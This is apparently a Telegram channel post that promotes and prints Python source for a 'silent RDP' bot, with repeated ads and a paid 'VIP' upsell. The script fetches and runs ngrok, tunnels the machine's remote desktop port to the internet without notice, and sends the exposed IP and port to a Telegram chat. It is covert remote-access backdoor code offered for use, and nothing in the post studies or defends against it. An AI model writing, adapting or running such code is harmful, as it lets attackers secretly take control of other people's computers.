SILENT RDP Telegram Bot Source in Python
Enable RDP and gain silent access to your PC 24/7 via a Telegram bot
✨ JOIN VIP (Fix errors and add more features)
#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
Enable RDP and gain silent access to your PC 24/7 via a Telegram bot
✨ JOIN VIP (Fix errors and add more features)
import requests
import json
import socket
import zipfile
import subprocess
import time
import os
from pathlib import Path
import asyncio
from telegram import Bot
TELEGRAM_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'
async def send_to_telegram(message):
bot = Bot(token=TELEGRAM_TOKEN)
await bot.send_message(chat_id=CHAT_ID, text=message)
def startng():
ngrok_path = r'C:\temp\ngrok\ngrok.exe'
command = [ngrok_path, 'tcp', '3389']
with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
process = subprocess.Popen(command, stdout=log_file, stderr=log_file)
time.sleep(7)
return
def notexist():
os.makedirs(r'C:\temp\ngrok', exist_ok=True)
url = "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip"
output_path = r"C:\temp\ngrok\ngrok.zip"
extract_dir = r"C:\temp\ngrok"
response = requests.get(url, stream=True)
with open(output_path, "wb") as file:
for chunk in response.iter_content(chunk_size=8192):
file.write(chunk)
with zipfile.ZipFile(output_path, 'r') as zip_ref:
zip_ref.extractall(extract_dir)
command = r'C:\temp\ngrok\ngrok.exe config add-authtoken YOUR_AUTHTOKEN' # Replace with your ngrok authtoken
with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
subprocess.run(command, stdout=log_file, stderr=log_file, shell=True)
return
def exist():
url = "http://localhost:4040/api/tunnels"
response = requests.get(url)
data = response.json()
public_url = data['tunnels'][0]['public_url']
result = public_url.replace('tcp://', '')
IP, PO = result.split(':')
ip_address = socket.gethostbyname(IP)
# Prepare the message to send to Telegram
output_message = f"> IP: {ip_address}\n> PO: {PO}"
# Run the async function to send the message to Telegram
asyncio.run(send_to_telegram(output_message))
return
a = Path(r"C:\temp\ngrok\ngrok.exe")
# Check if the file exists and call the respective function
if a.exists():
startng()
exist()
else:
notexist()
startng()
exist()
#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
👍6❤2😭1
Media is too big
VIEW IN TELEGRAM
SILENT RDP Telegram Bot Source in Python
Enable RDP and gain silent access to your PC (LAN/WAN) 24/7 via a Telegram bot
[+] No Network Loss
[+] 24/7 Connection
[+] Easy Remote PC Access
[+] Join VIP to Unlock 10+ Cool Features
Source Code for you 👉🏻 Download Now
#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
Enable RDP and gain silent access to your PC (LAN/WAN) 24/7 via a Telegram bot
[+] No Network Loss
[+] 24/7 Connection
[+] Easy Remote PC Access
[+] Join VIP to Unlock 10+ Cool Features
Source Code for you 👉🏻 Download Now
#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
👍3